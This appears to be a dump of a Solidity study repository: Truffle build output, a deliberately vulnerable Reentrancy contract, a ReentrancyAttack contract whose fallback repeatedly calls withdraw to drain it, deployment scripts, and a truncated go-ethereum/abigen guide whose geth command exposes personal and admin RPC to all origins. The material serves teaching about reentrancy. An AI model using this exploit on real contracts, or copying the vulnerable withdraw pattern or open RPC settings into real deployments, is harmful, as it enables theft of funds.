"visibility": "internal" 460 | } 461 | ], 462 | "src": "253:16:0" 463 | }, 464 | "payable": false, 465 | "returnParameters": { 466 | "id": 29, 467 | "nodeType": "ParameterList", 468 | "parameters": [], 469 | "src": "288:0:0" 470 | }, 471 | "scope": 56, 472 | "src": "232:103:0", 473 | "stateMutability": "nonpayable", 474 | "superFunction": null, 475 | "visibility": "public" 476 | }, 477 | { 478 | "body": { 479 | "id": 54, 480 | "nodeType": "Block", 481 | "src": "395:109:0", 482 | "statements": [ 483 | { 484 | "assignments": [ 485 | 43 486 | ], 487 | "declarations": [ 488 | { 489 | "constant": false, 490 | "id": 43, 491 | "name": "upgraded", 492 | "nodeType": "VariableDeclaration", 493 | "scope": 55, 494 | "src": "401:19:0", 495 | "stateVariable": false, 496 | "storageLocation": "default", 497 | "typeDescriptions": { 498 | "typeIdentifier": "t_contract$_Migrations_$56", 499 | "typeString": "contract Migrations" 500 | }, 501 | "typeName": { 502 | "contractScope": null, 503 | "id": 42, 504 | "name": "Migrations", 505 | "nodeType": "UserDefinedTypeName", 506 | "referencedDeclaration": 56, 507 | "src": "401:10:0", 508 | "typeDescriptions": { 509 | "typeIdentifier": "t_contract$_Migrations_$56", 510 | "typeString": "contract Migrations" 511 | } 512 | }, 513 | "value": null, 514 | "visibility": "internal" 515 | } 516 | ], 517 | "id": 47, 518 | "initialValue": { 519 | "argumentTypes": null, 520 | "arguments": [ 521 | { 522 | "argumentTypes": null, 523 | "id": 45, 524 | "name": "new_address", 525 | "nodeType": "Identifier", 526 | "overloadedDeclarations": [], 527 | "referencedDeclaration": 37, 528 | "src": "434:11:0", 529 | "typeDescriptions": { 530 | "typeIdentifier": "t_address", 531 | "typeString": "address" 532 | } 533 | } 534 | ], 535 | "expression": { 536 | "argumentTypes": [ 537 | { 538 | "typeIdentifier": "t_address", 539 | "typeString": "address" 540 | } 541 | ], 542 | "id": 44, 543 | "name": "Migrations", 544 | "nodeType": "Identifier", 545 | "overloadedDeclarations": [], 546 | "referencedDeclaration": 56, 547 | "src": "423:10:0", 548 | "typeDescriptions": { 549 | "typeIdentifier": "t_type$_t_contract$_Migrations_$56_$", 550 | "typeString": "type(contract Migrations)" 551 | } 552 | }, 553 | "id": 46, 554 | "isConstant": false, 555 | "isLValue": false, 556 | "isPure": false, 557 | "kind": "typeConversion", 558 | "lValueRequested": false, 559 | "names": [], 560 | "nodeType": "FunctionCall", 561 | "src": "423:23:0", 562 | "typeDescriptions": { 563 | "typeIdentifier": "t_contract$_Migrations_$56", 564 | "typeString": "contract Migrations" 565 | } 566 | }, 567 | "nodeType": "VariableDeclarationStatement", 568 | "src": "401:45:0" 569 | }, 570 | { 571 | "expression": { 572 | "argumentTypes": null, 573 | "arguments": [ 574 | { 575 | "argumentTypes": null, 576 | "id": 51, 577 | "name": "last_completed_migration", 578 | "nodeType": "Identifier", 579 | "overloadedDeclarations": [], 580 | "referencedDeclaration": 5, 581 | "src": "474:24:0", 582 | "typeDescriptions": { 583 | "typeIdentifier": "t_uint256", 584 | "typeString": "uint256" 585 | } 586 | } 587 | ], 588 | "expression": { 589 | "argumentTypes": [ 590 | { 591 | "typeIdentifier": "t_uint256", 592 | "typeString": "uint256" 593 | } 594 | ], 595 | "expression": { 596 | "argumentTypes": null, 597 | "id": 48, 598 | "name": "upgraded", 599 | "nodeType": "Identifier", 600 | "overloadedDeclarations": [], 601 | "referencedDeclaration": 43, 602 | "src": "452:8:0", 603 | "typeDescriptions": { 604 | "typeIdentifier": "t_contract$_Migrations_$56", 605 | "typeString": "contract Migrations" 606 | } 607 | }, 608 | "id": 50, 609 | "isConstant": false, 610 | "isLValue": false, 611 | "isPure": false, 612 | "lValueRequested": false, 613 | "memberName": "setCompleted", 614 | "nodeType": "MemberAccess", 615 | "referencedDeclaration": 35, 616 | "src": "452:21:0", 617 | "typeDescriptions": { 618 | "typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$", 619 | "typeString": "function (uint256) external" 620 | } 621 | }, 622 | "id": 52, 623 | "isConstant": false, 624 | "isLValue": false, 625 | "isPure": false, 626 | "kind": "functionCall", 627 | "lValueRequested": false, 628 | "names": [], 629 | "nodeType": "FunctionCall", 630 | "src": "452:47:0", 631 | "typeDescriptions": { 632 | "typeIdentifier": "t_tuple$__$", 633 | "typeString": "tuple()" 634 | } 635 | }, 636 | "id": 53, 637 | "nodeType": "ExpressionStatement", 638 | "src": "452:47:0" 639 | } 640 | ] 641 | }, 642 | "documentation": null, 643 | "id": 55, 644 | "implemented": true, 645 | "isConstructor": false, 646 | "isDeclaredConst": false, 647 | "modifiers": [ 648 | { 649 | "arguments": null, 650 | "id": 40, 651 | "modifierName": { 652 | "argumentTypes": null, 653 | "id": 39, 654 | "name": "restricted", 655 | "nodeType": "Identifier", 656 | "overloadedDeclarations": [], 657 | "referencedDeclaration": 23, 658 | "src": "384:10:0", 659 | "typeDescriptions": { 660 | "typeIdentifier": "t_modifier$__$", 661 | "typeString": "modifier ()" 662 | } 663 | }, 664 | "nodeType": "ModifierInvocation", 665 | "src": "384:10:0" 666 | } 667 | ], 668 | "name": "upgrade", 669 | "nodeType": "FunctionDefinition", 670 | "parameters": { 671 | "id": 38, 672 | "nodeType": "ParameterList", 673 | "parameters": [ 674 | { 675 | "constant": false, 676 | "id": 37, 677 | "name": "new_address", 678 | "nodeType": "VariableDeclaration", 679 | "scope": 55, 680 | "src": "356:19:0", 681 | "stateVariable": false, 682 | "storageLocation": "default", 683 | "typeDescriptions": { 684 | "typeIdentifier": "t_address", 685 | "typeString": "address" 686 | }, 687 | "typeName": { 688 | "id": 36, 689 | "name": "address", 690 | "nodeType": "ElementaryTypeName", 691 | "src": "356:7:0", 692 | "typeDescriptions": { 693 | "typeIdentifier": "t_address", 694 | "typeString": "address" 695 | } 696 | }, 697 | "value": null, 698 | "visibility": "internal" 699 | } 700 | ], 701 | "src": "355:21:0" 702 | }, 703 | "payable": false, 704 | "returnParameters": { 705 | "id": 41, 706 | "nodeType": "ParameterList", 707 | "parameters": [], 708 | "src": "395:0:0" 709 | }, 710 | "scope": 56, 711 | "src": "339:165:0", 712 | "stateMutability": "nonpayable", 713 | "superFunction": null, 714 | "visibility": "public" 715 | } 716 | ], 717 | "scope": 57, 718 | "src": "26:480:0" 719 | } 720 | ], 721 | "src": "0:507:0" 722 | }, 723 | "legacyAST": { 724 | "absolutePath": "/D/solidity/solidity-note/notes/attacks/example01/contracts/Migrations.sol", 725 | "exportedSymbols": { 726 | "Migrations": [ 727 | 56 728 | ] 729 | }, 730 | "id": 57, 731 | "nodeType": "SourceUnit", 732 | "nodes": [ 733 | { 734 | "id": 1, 735 | "literals": [ 736 | "solidity", 737 | "^", 738 | "0.4", 739 | ".23" 740 | ], 741 | "nodeType": "PragmaDirective", 742 | "src": "0:24:0" 743 | }, 744 | { 745 | "baseContracts": [], 746 | "contractDependencies": [], 747 | "contractKind": "contract", 748 | "documentation": null, 749 | "fullyImplemented": true, 750 | "id": 56, 751 | "linearizedBaseContracts": [ 752 | 56 753 | ], 754 | "name": "Migrations", 755 | "nodeType": "ContractDefinition", 756 | "nodes": [ 757 | { 758 | "constant": false, 759 | "id": 3, 760 | "name": "owner", 761 | "nodeType": "VariableDeclaration", 762 | "scope": 56, 763 | "src": "50:20:0", 764 | "stateVariable": true, 765 | "storageLocation": "default", 766 | "typeDescriptions": { 767 | "typeIdentifier": "t_address", 768 | "typeString": "address" 769 | }, 770 | "typeName": { 771 | "id": 2, 772 | "name": "address", 773 | "nodeType": "ElementaryTypeName", 774 | "src": "50:7:0", 775 | "typeDescriptions": { 776 | "typeIdentifier": "t_address", 777 | "typeString": "address" 778 | } 779 | }, 780 | "value": null, 781 | "visibility": "public" 782 | }, 783 | { 784 | "constant": false, 785 | "id": 5, 786 | "name": "last_completed_migration", 787 | "nodeType": "VariableDeclaration", 788 | "scope": 56, 789 | "src": "74:36:0", 790 | "stateVariable": true, 791 | "storageLocation": "default", 792 | "typeDescriptions": { 793 | "typeIdentifier": "t_uint256", 794 | "typeString": "uint256" 795 | }, 796 | "typeName": { 797 | "id": 4, 798 | "name": "uint", 799 | "nodeType": "ElementaryTypeName", 800 | "src": "74:4:0", 801 | "typeDescriptions": { 802 | "typeIdentifier": "t_uint256", 803 | "typeString": "uint256" 804 | } 805 | }, 806 | "value": null, 807 | "visibility": "public" 808 | }, 809 | { 810 | "body": { 811 | "id": 13, 812 | "nodeType": "Block", 813 | "src": "136:29:0", 814 | "statements": [ 815 | { 816 | "expression": { 817 | "argumentTypes": null, 818 | "id": 11, 819 | "isConstant": false, 820 | "isLValue": false, 821 | "isPure": false, 822 | "lValueRequested": false, 823 | "leftHandSide": { 824 | "argumentTypes": null, 825 | "id": 8, 826 | "name": "owner", 827 | "nodeType": "Identifier", 828 | "overloadedDeclarations": [], 829 | "referencedDeclaration": 3, 830 | "src": "142:5:0", 831 | "typeDescriptions": { 832 | "typeIdentifier": "t_address", 833 | "typeString": "address" 834 | } 835 | }, 836 | "nodeType": "Assignment", 837 | "operator": "=", 838 | "rightHandSide": { 839 | "argumentTypes": null, 840 | "expression": { 841 | "argumentTypes": null, 842 | "id": 9, 843 | "name": "msg", 844 | "nodeType": "Identifier", 845 | "overloadedDeclarations": [], 846 | "referencedDeclaration": 230, 847 | "src": "150:3:0", 848 | "typeDescriptions": { 849 | "typeIdentifier": "t_magic_message", 850 | "typeString": "msg" 851 | } 852 | }, 853 | "id": 10, 854 | "isConstant": false, 855 | "isLValue": false, 856 | "isPure": false, 857 | "lValueRequested": false, 858 | "memberName": "sender", 859 | "nodeType": "MemberAccess", 860 | "referencedDeclaration": null, 861 | "src": "150:10:0", 862 | "typeDescriptions": { 863 | "typeIdentifier": "t_address", 864 | "typeString": "address" 865 | } 866 | }, 867 | "src": "142:18:0", 868 | "typeDescriptions": { 869 | "typeIdentifier": "t_address", 870 | "typeString": "address" 871 | } 872 | }, 873 | "id": 12, 874 | "nodeType": "ExpressionStatement", 875 | "src": "142:18:0" 876 | } 877 | ] 878 | }, 879 | "documentation": null, 880 | "id": 14, 881 | "implemented": true, 882 | "isConstructor": true, 883 | "isDeclaredConst": false, 884 | "modifiers": [], 885 | "name": "", 886 | "nodeType": "FunctionDefinition", 887 | "parameters": { 888 | "id": 6, 889 | "nodeType": "ParameterList", 890 | "parameters": [], 891 | "src": "126:2:0" 892 | }, 893 | "payable": false, 894 | "returnParameters": { 895 | "id": 7, 896 | "nodeType": "ParameterList", 897 | "parameters": [], 898 | "src": "136:0:0" 899 | }, 900 | "scope": 56, 901 | "src": "115:50:0", 902 | "stateMutability": "nonpayable", 903 | "superFunction": null, 904 | "visibility": "public" 905 | }, 906 | { 907 | "body": { 908 | "id": 22, 909 | "nodeType": "Block", 910 | "src": "191:37:0", 911 | "statements": [ 912 | { 913 | "condition": { 914 | "argumentTypes": null, 915 | "commonType": { 916 | "typeIdentifier": "t_address", 917 | "typeString": "address" 918 | }, 919 | "id": 19, 920 | "isConstant": false, 921 | "isLValue": false, 922 | "isPure": false, 923 | "lValueRequested": false, 924 | "leftExpression": { 925 | "argumentTypes": null, 926 | "expression": { 927 | "argumentTypes": null, 928 | "id": 16, 929 | "name": "msg", 930 | "nodeType": "Identifier", 931 | "overloadedDeclarations": [], 932 | "referencedDeclaration": 230, 933 | "src": "201:3:0", 934 | "typeDescriptions": { 935 | "typeIdentifier": "t_magic_message", 936 | "typeString": "msg" 937 | } 938 | }, 939 | "id": 17, 940 | "isConstant": false, 941 | "isLValue": false, 942 | "isPure": false, 943 | "lValueRequested": false, 944 | "memberName": "sender", 945 | "nodeType": "MemberAccess", 946 | "referencedDeclaration": null, 947 | "src": "201:10:0", 948 | "typeDescriptions": { 949 | "typeIdentifier": "t_address", 950 | "typeString": "address" 951 | } 952 | }, 953 | "nodeType": "BinaryOperation", 954 | "operator": "==", 955 | "rightExpression": { 956 | "argumentTypes": null, 957 | "id": 18, 958 | "name": "owner", 959 | "nodeType": "Identifier", 960 | "overloadedDeclarations": [], 961 | "referencedDeclaration": 3, 962 | "src": "215:5:0", 963 | "typeDescriptions": { 964 | "typeIdentifier": "t_address", 965 | "typeString": "address" 966 | } 967 | }, 968 | "src": "201:19:0", 969 | "typeDescriptions": { 970 | "typeIdentifier": "t_bool", 971 | "typeString": "bool" 972 | } 973 | }, 974 | "falseBody": null, 975 | "id": 21, 976 | "nodeType": "IfStatement", 977 | "src": "197:26:0", 978 | "trueBody": { 979 | "id": 20, 980 | "nodeType": "PlaceholderStatement", 981 | "src": "222:1:0" 982 | } 983 | } 984 | ] 985 | }, 986 | "documentation": null, 987 | "id": 23, 988 | "name": "restricted", 989 | "nodeType": "ModifierDefinition", 990 | "parameters": { 991 | "id": 15, 992 | "nodeType": "ParameterList", 993 | "parameters": [], 994 | "src": "188:2:0" 995 | }, 996 | "src": "169:59:0", 997 | "visibility": "internal" 998 | }, 999 | { 1000 | "body": { 1001 | "id": 34, 1002 | "nodeType": "Block", 1003 | "src": "288:47:0", 1004 | "statements": [ 1005 | { 1006 | "expression": { 1007 | "argumentTypes": null, 1008 | "id": 32, 1009 | "isConstant": false, 1010 | "isLValue": false, 1011 | "isPure": false, 1012 | "lValueRequested": false, 1013 | "leftHandSide": { 1014 | "argumentTypes": null, 1015 | "id": 30, 1016 | "name": "last_completed_migration", 1017 | "nodeType": "Identifier", 1018 | "overloadedDeclarations": [], 1019 | "referencedDeclaration": 5, 1020 | "src": "294:24:0", 1021 | "typeDescriptions": { 1022 | "typeIdentifier": "t_uint256", 1023 | "typeString": "uint256" 1024 | } 1025 | }, 1026 | "nodeType": "Assignment", 1027 | "operator": "=", 1028 | "rightHandSide": { 1029 | "argumentTypes": null, 1030 | "id": 31, 1031 | "name": "completed", 1032 | "nodeType": "Identifier", 1033 | "overloadedDeclarations": [], 1034 | "referencedDeclaration": 25, 1035 | "src": "321:9:0", 1036 | "typeDescriptions": { 1037 | "typeIdentifier": "t_uint256", 1038 | "typeString": "uint256" 1039 | } 1040 | }, 1041 | "src": "294:36:0", 1042 | "typeDescriptions": { 1043 | "typeIdentifier": "t_uint256", 1044 | "typeString": "uint256" 1045 | } 1046 | }, 1047 | "id": 33, 1048 | "nodeType": "ExpressionStatement", 1049 | "src": "294:36:0" 1050 | } 1051 | ] 1052 | }, 1053 | "documentation": null, 1054 | "id": 35, 1055 | "implemented": true, 1056 | "isConstructor": false, 1057 | "isDeclaredConst": false, 1058 | "modifiers": [ 1059 | { 1060 | "arguments": null, 1061 | "id": 28, 1062 | "modifierName": { 1063 | "argumentTypes": null, 1064 | "id": 27, 1065 | "name": "restricted", 1066 | "nodeType": "Identifier", 1067 | "overloadedDeclarations": [], 1068 | "referencedDeclaration": 23, 1069 | "src": "277:10:0", 1070 | "typeDescriptions": { 1071 | "typeIdentifier": "t_modifier$__$", 1072 | "typeString": "modifier ()" 1073 | } 1074 | }, 1075 | "nodeType": "ModifierInvocation", 1076 | "src": "277:10:0" 1077 | } 1078 | ], 1079 | "name": "setCompleted", 1080 | "nodeType": "FunctionDefinition", 1081 | "parameters": { 1082 | "id": 26, 1083 | "nodeType": "ParameterList", 1084 | "parameters": [ 1085 | { 1086 | "constant": false, 1087 | "id": 25, 1088 | "name": "completed", 1089 | "nodeType": "VariableDeclaration", 1090 | "scope": 35, 1091 | "src": "254:14:0", 1092 | "stateVariable": false, 1093 | "storageLocation": "default", 1094 | "typeDescriptions": { 1095 | "typeIdentifier": "t_uint256", 1096 | "typeString": "uint256" 1097 | }, 1098 | "typeName": { 1099 | "id": 24, 1100 | "name": "uint", 1101 | "nodeType": "ElementaryTypeName", 1102 | "src": "254:4:0", 1103 | "typeDescriptions": { 1104 | "typeIdentifier": "t_uint256", 1105 | "typeString": "uint256" 1106 | } 1107 | }, 1108 | "value": null, 1109 | "visibility": "internal" 1110 | } 1111 | ], 1112 | "src": "253:16:0" 1113 | }, 1114 | "payable": false, 1115 | "returnParameters": { 1116 | "id": 29, 1117 | "nodeType": "ParameterList", 1118 | "parameters": [], 1119 | "src": "288:0:0" 1120 | }, 1121 | "scope": 56, 1122 | "src": "232:103:0", 1123 | "stateMutability": "nonpayable", 1124 | "superFunction": null, 1125 | "visibility": "public" 1126 | }, 1127 | { 1128 | "body": { 1129 | "id": 54, 1130 | "nodeType": "Block", 1131 | "src": "395:109:0", 1132 | "statements": [ 1133 | { 1134 | "assignments": [ 1135 | 43 1136 | ], 1137 | "declarations": [ 1138 | { 1139 | "constant": false, 1140 | "id": 43, 1141 | "name": "upgraded", 1142 | "nodeType": "VariableDeclaration", 1143 | "scope": 55, 1144 | "src": "401:19:0", 1145 | "stateVariable": false, 1146 | "storageLocation": "default", 1147 | "typeDescriptions": { 1148 | "typeIdentifier": "t_contract$_Migrations_$56", 1149 | "typeString": "contract Migrations" 1150 | }, 1151 | "typeName": { 1152 | "contractScope": null, 1153 | "id": 42, 1154 | "name": "Migrations", 1155 | "nodeType": "UserDefinedTypeName", 1156 | "referencedDeclaration": 56, 1157 | "src": "401:10:0", 1158 | "typeDescriptions": { 1159 | "typeIdentifier": "t_contract$_Migrations_$56", 1160 | "typeString": "contract Migrations" 1161 | } 1162 | }, 1163 | "value": null, 1164 | "visibility": "internal" 1165 | } 1166 | ], 1167 | "id": 47, 1168 | "initialValue": { 1169 | "argumentTypes": null, 1170 | "arguments": [ 1171 | { 1172 | "argumentTypes": null, 1173 | "id": 45, 1174 | "name": "new_address", 1175 | "nodeType": "Identifier", 1176 | "overloadedDeclarations": [], 1177 | "referencedDeclaration": 37, 1178 | "src": "434:11:0", 1179 | "typeDescriptions": { 1180 | "typeIdentifier": "t_address", 1181 | "typeString": "address" 1182 | } 1183 | } 1184 | ], 1185 | "expression": { 1186 | "argumentTypes": [ 1187 | { 1188 | "typeIdentifier": "t_address", 1189 | "typeString": "address" 1190 | } 1191 | ], 1192 | "id": 44, 1193 | "name": "Migrations", 1194 | "nodeType": "Identifier", 1195 | "overloadedDeclarations": [], 1196 | "referencedDeclaration": 56, 1197 | "src": "423:10:0", 1198 | "typeDescriptions": { 1199 | "typeIdentifier": "t_type$_t_contract$_Migrations_$56_$", 1200 | "typeString": "type(contract Migrations)" 1201 | } 1202 | }, 1203 | "id": 46, 1204 | "isConstant": false, 1205 | "isLValue": false, 1206 | "isPure": false, 1207 | "kind": "typeConversion", 1208 | "lValueRequested": false, 1209 | "names": [], 1210 | "nodeType": "FunctionCall", 1211 | "src": "423:23:0", 1212 | "typeDescriptions": { 1213 | "typeIdentifier": "t_contract$_Migrations_$56", 1214 | "typeString": "contract Migrations" 1215 | } 1216 | }, 1217 | "nodeType": "VariableDeclarationStatement", 1218 | "src": "401:45:0" 1219 | }, 1220 | { 1221 | "expression": { 1222 | "argumentTypes": null, 1223 | "arguments": [ 1224 | { 1225 | "argumentTypes": null, 1226 | "id": 51, 1227 | "name": "last_completed_migration", 1228 | "nodeType": "Identifier", 1229 | "overloadedDeclarations": [], 1230 | "referencedDeclaration": 5, 1231 | "src": "474:24:0", 1232 | "typeDescriptions": { 1233 | "typeIdentifier": "t_uint256", 1234 | "typeString": "uint256" 1235 | } 1236 | } 1237 | ], 1238 | "expression": { 1239 | "argumentTypes": [ 1240 | { 1241 | "typeIdentifier": "t_uint256", 1242 | "typeString": "uint256" 1243 | } 1244 | ], 1245 | "expression": { 1246 | "argumentTypes": null, 1247 | "id": 48, 1248 | "name": "upgraded", 1249 | "nodeType": "Identifier", 1250 | "overloadedDeclarations": [], 1251 | "referencedDeclaration": 43, 1252 | "src": "452:8:0", 1253 | "typeDescriptions": { 1254 | "typeIdentifier": "t_contract$_Migrations_$56", 1255 | "typeString": "contract Migrations" 1256 | } 1257 | }, 1258 | "id": 50, 1259 | "isConstant": false, 1260 | "isLValue": false, 1261 | "isPure": false, 1262 | "lValueRequested": false, 1263 | "memberName": "setCompleted", 1264 | "nodeType": "MemberAccess", 1265 | "referencedDeclaration": 35, 1266 | "src": "452:21:0", 1267 | "typeDescriptions": { 1268 | "typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$", 1269 | "typeString": "function (uint256) external" 1270 | } 1271 | }, 1272 | "id": 52, 1273 | "isConstant": false, 1274 | "isLValue": false, 1275 | "isPure": false, 1276 | "kind": "functionCall", 1277 | "lValueRequested": false, 1278 | "names": [], 1279 | "nodeType": "FunctionCall", 1280 | "src": "452:47:0", 1281 | "typeDescriptions": { 1282 | "typeIdentifier": "t_tuple$__$", 1283 | "typeString": "tuple()" 1284 | } 1285 | }, 1286 | "id": 53, 1287 | "nodeType": "ExpressionStatement", 1288 | "src": "452:47:0" 1289 | } 1290 | ] 1291 | }, 1292 | "documentation": null, 1293 | "id": 55, 1294 | "implemented": true, 1295 | "isConstructor": false, 1296 | "isDeclaredConst": false, 1297 | "modifiers": [ 1298 | { 1299 | "arguments": null, 1300 | "id": 40, 1301 | "modifierName": { 1302 | "argumentTypes": null, 1303 | "id": 39, 1304 | "name": "restricted", 1305 | "nodeType": "Identifier", 1306 | "overloadedDeclarations": [], 1307 | "referencedDeclaration": 23, 1308 | "src": "384:10:0", 1309 | "typeDescriptions": { 1310 | "typeIdentifier": "t_modifier$__$", 1311 | "typeString": "modifier ()" 1312 | } 1313 | }, 1314 | "nodeType": "ModifierInvocation", 1315 | "src": "384:10:0" 1316 | } 1317 | ], 1318 | "name": "upgrade", 1319 | "nodeType": "FunctionDefinition", 1320 | "parameters": { 1321 | "id": 38, 1322 | "nodeType": "ParameterList", 1323 | "parameters": [ 1324 | { 1325 | "constant": false, 1326 | "id": 37, 1327 | "name": "new_address", 1328 | "nodeType": "VariableDeclaration", 1329 | "scope": 55, 1330 | "src": "356:19:0", 1331 | "stateVariable": false, 1332 | "storageLocation": "default", 1333 | "typeDescriptions": { 1334 | "typeIdentifier": "t_address", 1335 | "typeString": "address" 1336 | }, 1337 | "typeName": { 1338 | "id": 36, 1339 | "name": "address", 1340 | "nodeType": "ElementaryTypeName", 1341 | "src": "356:7:0", 1342 | "typeDescriptions": { 1343 | "typeIdentifier": "t_address", 1344 | "typeString": "address" 1345 | } 1346 | }, 1347 | "value": null, 1348 | "visibility": "internal" 1349 | } 1350 | ], 1351 | "src": "355:21:0" 1352 | }, 1353 | "payable": false, 1354 | "returnParameters": { 1355 | "id": 41, 1356 | "nodeType": "ParameterList", 1357 | "parameters": [], 1358 | "src": "395:0:0" 1359 | }, 1360 | "scope": 56, 1361 | "src": "339:165:0", 1362 | "stateMutability": "nonpayable", 1363 | "superFunction": null, 1364 | "visibility": "public" 1365 | } 1366 | ], 1367 | "scope": 57, 1368 | "src": "26:480:0" 1369 | } 1370 | ], 1371 | "src": "0:507:0" 1372 | }, 1373 | "compiler": { 1374 | "name": "solc", 1375 | "version": "0.4.24+commit.e67f0147.Emscripten.clang" 1376 | }, 1377 | "networks": {}, 1378 | "schemaVersion": "2.0.0", 1379 | "updatedAt": "2018-06-07T10:06:18.439Z" 1380 | } -------------------------------------------------------------------------------- /notes/attacks/example01/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /notes/attacks/example01/contracts/Reentrancy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | 4 | contract Reentrancy { 5 | address public owner; 6 | mapping (address => uint256) public balances; 7 | 8 | uint256 amountValue = 0; 9 | 10 | constructor() public { 11 | owner = msg.sender; 12 | } 13 | 14 | function balanceOf(address addr) public view returns(uint256) { 15 | return balances[addr]; 16 | } 17 | 18 | function withdraw() public { 19 | // At this point, the caller's code is executed, and can call withdraw again 20 | require(msg.sender.call.value(balances[msg.sender])()); 21 | balances[msg.sender] = 0; 22 | } 23 | 24 | function put() public payable { 25 | balances[msg.sender] += msg.value; 26 | } 27 | 28 | function () external payable { 29 | balances[msg.sender] += msg.value; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /notes/attacks/example01/contracts/ReentrancyAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | import "./Reentrancy.sol"; 4 | 5 | contract ReentrancyAttack { 6 | 7 | address public owner; 8 | 9 | Reentrancy public token; 10 | 11 | constructor(address _token) public { 12 | owner = msg.sender; 13 | token = Reentrancy(_token); 14 | } 15 | 16 | function kill () public { 17 | require(msg.sender == owner); 18 | selfdestruct(msg.sender); 19 | } 20 | 21 | function put() public payable { 22 | token.put.value(msg.value)(); 23 | token.withdraw(); 24 | } 25 | 26 | function () external payable { 27 | if (address(token).balance >= msg.value) { 28 | token.withdraw(); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /notes/attacks/example01/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /notes/attacks/example01/migrations/2_deploy_reentrancy.js: -------------------------------------------------------------------------------- 1 | var Reentrancy = artifacts.require("Reentrancy"); 2 | var ReentrancyAttack = artifacts.require("ReentrancyAttack"); 3 | 4 | module.exports = function(deployer) { 5 | 6 | deployer.deploy(Reentrancy).then(() => 7 | deployer.deploy(ReentrancyAttack, Reentrancy.address, {from: "0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef"}) 8 | ); 9 | }; 10 | -------------------------------------------------------------------------------- /notes/attacks/example01/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /notes/attacks/example01/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /notes/golang/api.md: -------------------------------------------------------------------------------- 1 | # Golang Call Smart Contract 2 | 3 | ## Generate smart contract api 4 | 5 | - 安装 go-ethereum 6 | ```bash 7 | # golang & solc install 略 8 | 9 | # 安装 ethereum 到 GOPATH 目录下 10 | go get github.com/ethereum/go-ethereum 11 | # 编译 geth 12 | go install github.com/ethereum/go-ethereum/cmd/geth 13 | # 编译 abigen 14 | go install github.com/ethereum/go-ethereum/cmd/abigen 15 | ``` 16 | 17 | - 准备测试智能合约 `BoreyToken.sol` 18 | ```sol 19 | pragma solidity ^0.4.23; 20 | 21 | contract BoreyToken { 22 | event Transfer(address indexed _from, address indexed _to, uint256 _value); 23 | 24 | address public owner; 25 | mapping (address => uint) public balanceOf; 26 | 27 | constructor(uint256 supply) public { 28 | owner = msg.sender; 29 | balanceOf[msg.sender] = supply; 30 | } 31 | 32 | function transfer(address _to, uint256 _value) public returns (bool) { 33 | require(_to != address(0)); 34 | require(_value <= balanceOf[msg.sender]); 35 | 36 | balanceOf[msg.sender] = balanceOf[msg.sender] - _value; 37 | balanceOf[_to] = balanceOf[_to] + _value; 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | } 42 | ``` 43 | 44 | - abigen 45 | 46 | ```bash 47 | # abigen help 48 | prod@ubuntu:~/solidity/go$ abigen -h 49 | Usage of abigen: 50 | -abi string 51 | Path to the Ethereum contract ABI json to bind 52 | -bin string 53 | Path to the Ethereum contract bytecode (generate deploy method) 54 | -exc string 55 | Comma separated types to exclude from binding 56 | -lang string 57 | Destination language for the bindings (go, java, objc) (default "go") 58 | -out string 59 | Output file for the generated binding (default = stdout) 60 | -pkg string 61 | Package name to generate the binding into 62 | -sol string 63 | Path to the Ethereum contract Solidity source to build and bind 64 | -solc string 65 | Solidity compiler to use if source builds are requested (default "solc") 66 | -type string 67 | Struct name for the binding (default = package name) 68 | 69 | # abigen 生成 boreytoken.go 70 | prod@ubuntu:~/solidity/go$ abigen --sol BoreyToken.sol --pkg token --out boreytoken.go 71 | prod@ubuntu:~/solidity/go$ 72 | prod@ubuntu:~/solidity/go$ ls 73 | boreytoken.go BoreyToken.sol 74 | 75 | ``` 76 | - 智能合约的API 文件 [boreytoken.go](./golang.sol/demo/token/boreytoken.go) 77 | 78 | 79 | ## Deploy contract with golang code 80 | 81 | - 运行 geth 命令 82 | ```bash 83 | # 1、geth 初始化: 略, 见geth私链部署 84 | 85 | # 2、启动websock 为后续 event 监听提供准备 86 | geth --ws --wsaddr 0.0.0.0 --wsport 8641 --wsorigins "*" --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir node1/data --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover 87 | ``` 88 | 89 | - 部署代码 90 | ```golang 91 | package main 92 | 93 | import ( 94 | "context" 95 | "log" 96 | "math/big" 97 | "time" 98 | 99 | "github.com/ethereum/go-ethereum" 100 | "github.com/ethereum/go-ethereum/accounts/abi/bind" 101 | "github.com/ethereum/go-ethereum/accounts/keystore" 102 | "github.com/ethereum/go-ethereum/crypto" 103 | "github.com/ethereum/go-ethereum/ethclient" 104 | "golang.sol/demo/token" 105 | ) 106 | 107 | // Keystore & Password, 钱包中有一定余额的ETH用于部署合约的GAS消耗 108 | const gKeystore = 